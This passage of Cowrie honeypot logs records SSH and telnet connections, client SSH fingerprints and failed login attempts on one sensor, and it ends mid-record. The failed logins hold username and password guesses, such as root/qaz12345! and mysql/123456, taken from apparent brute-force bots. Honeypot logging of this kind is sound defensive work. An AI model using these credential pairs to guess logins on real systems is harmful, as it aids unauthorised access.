{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:00.184923Z","src_ip":"87.251.79.125","session":"ad04bbb51531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46128,"dst_ip":"10.17.0.5","dst_port":23,"session":"86a97aa6fa65","protocol":"telnet","message":"New connection: 152.42.224.71:46128 (10.17.0.5:23) [session: 86a97aa6fa65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:00.890818Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46144,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd388a4c86c3","protocol":"telnet","message":"New connection: 152.42.224.71:46144 (10.17.0.5:23) [session: cd388a4c86c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:03.026214Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46160,"dst_ip":"10.17.0.5","dst_port":23,"session":"44d6d45ee919","protocol":"telnet","message":"New connection: 152.42.224.71:46160 (10.17.0.5:23) [session: 44d6d45ee919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:03.947204Z"}
{"eventid":"cowrie.session.closed","duration":87.57348394393921,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:04.817416Z","src_ip":"152.42.224.71","session":"4a8b6e603a65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46176,"dst_ip":"10.17.0.5","dst_port":23,"session":"14cfe9a3d8c2","protocol":"telnet","message":"New connection: 152.42.224.71:46176 (10.17.0.5:23) [session: 14cfe9a3d8c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:04.969093Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41794,"dst_ip":"159.203.135.109","dst_port":22,"session":"58e7f8600a42","protocol":"ssh","message":"New connection: 31.40.204.166:41794 (159.203.135.109:22) [session: 58e7f8600a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:05.881898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:05.888419Z","src_ip":"31.40.204.166","session":"58e7f8600a42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:06.081331Z","src_ip":"31.40.204.166","session":"58e7f8600a42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:06.511926Z","src_ip":"31.40.204.166","session":"58e7f8600a42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.948838233947754,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:06.890954Z","src_ip":"152.42.224.71","session":"133f29025bf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60838,"dst_ip":"10.17.0.5","dst_port":23,"session":"759cd7d2daf7","protocol":"telnet","message":"New connection: 152.42.224.71:60838 (10.17.0.5:23) [session: 759cd7d2daf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:07.402685Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:07.710852Z","src_ip":"31.40.204.166","session":"58e7f8600a42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60850,"dst_ip":"10.17.0.5","dst_port":23,"session":"752dcef0b01e","protocol":"telnet","message":"New connection: 152.42.224.71:60850 (10.17.0.5:23) [session: 752dcef0b01e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:12.069329Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":48958,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d5cc35d37a4","protocol":"ssh","message":"New connection: 119.28.115.94:48958 (159.203.135.109:22) [session: 9d5cc35d37a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:17.034378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:17.038873Z","src_ip":"119.28.115.94","session":"9d5cc35d37a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:17.274817Z","src_ip":"119.28.115.94","session":"9d5cc35d37a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44942,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f67ded35441","protocol":"ssh","message":"New connection: 31.40.204.166:44942 (159.203.135.109:22) [session: 2f67ded35441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:18.111066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:18.121639Z","src_ip":"31.40.204.166","session":"2f67ded35441","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.989638566970825,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:18.231727Z","src_ip":"152.42.224.71","session":"feb1c8612e61","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz12345!","message":"login attempt [root/qaz12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:18.253156Z","src_ip":"119.28.115.94","session":"9d5cc35d37a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:18.290215Z","src_ip":"31.40.204.166","session":"2f67ded35441","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:18.824383Z","src_ip":"31.40.204.166","session":"2f67ded35441","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0016975402832,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:19.250209Z","src_ip":"152.42.224.71","session":"353cd5ee728c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:19.491585Z","src_ip":"119.28.115.94","session":"9d5cc35d37a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:20.092656Z","src_ip":"31.40.204.166","session":"2f67ded35441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37438,"dst_ip":"10.17.0.5","dst_port":23,"session":"332820a01b6b","protocol":"telnet","message":"New connection: 152.42.224.71:37438 (10.17.0.5:23) [session: 332820a01b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:22.072975Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":11558,"dst_ip":"159.203.135.109","dst_port":22,"session":"cff6751ca962","protocol":"ssh","message":"New connection: 101.36.108.213:11558 (159.203.135.109:22) [session: cff6751ca962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:22.854753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:22.859668Z","src_ip":"101.36.108.213","session":"cff6751ca962","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:23.073744Z","src_ip":"101.36.108.213","session":"cff6751ca962","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jer123","message":"login attempt [root/jer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:23.979444Z","src_ip":"101.36.108.213","session":"cff6751ca962","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:25.197879Z","src_ip":"101.36.108.213","session":"cff6751ca962","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.31692028045654,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:25.744413Z","src_ip":"152.42.224.71","session":"4477abb582b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00137972831726,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:26.167492Z","src_ip":"152.42.224.71","session":"37aee11da4c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32834,"dst_ip":"10.17.0.5","dst_port":23,"session":"e43cdce89a00","protocol":"telnet","message":"New connection: 152.42.224.71:32834 (10.17.0.5:23) [session: e43cdce89a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:30.032500Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51596,"dst_ip":"159.203.135.109","dst_port":22,"session":"1be02dbb2593","protocol":"ssh","message":"New connection: 31.40.204.166:51596 (159.203.135.109:22) [session: 1be02dbb2593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:30.682293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:30.701064Z","src_ip":"31.40.204.166","session":"1be02dbb2593","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:30.812668Z","src_ip":"31.40.204.166","session":"1be02dbb2593","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.217.16.126","src_port":1437,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1f57adda086","protocol":"ssh","message":"New connection: 182.217.16.126:1437 (159.203.135.109:22) [session: d1f57adda086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:31.013570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:31.018806Z","src_ip":"182.217.16.126","session":"d1f57adda086","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:31.233084Z","src_ip":"182.217.16.126","session":"d1f57adda086","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:31.820851Z","src_ip":"31.40.204.166","session":"1be02dbb2593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mariah","message":"login attempt [root/mariah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:32.089707Z","src_ip":"182.217.16.126","session":"d1f57adda086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:33.091136Z","src_ip":"31.40.204.166","session":"1be02dbb2593","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:33.316687Z","src_ip":"182.217.16.126","session":"d1f57adda086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.67898082733154,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:34.569690Z","src_ip":"152.42.224.71","session":"86a97aa6fa65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.2609486579895,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:36.208011Z","src_ip":"152.42.224.71","session":"44d6d45ee919","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54060,"dst_ip":"10.17.0.5","dst_port":23,"session":"21ff70489869","protocol":"telnet","message":"New connection: 152.42.224.71:54060 (10.17.0.5:23) [session: 21ff70489869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:36.304959Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":60094,"dst_ip":"159.203.135.109","dst_port":22,"session":"79d8060d2413","protocol":"ssh","message":"New connection: 43.134.228.151:60094 (159.203.135.109:22) [session: 79d8060d2413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:37.844857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:31:37.849110Z","src_ip":"43.134.228.151","session":"79d8060d2413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 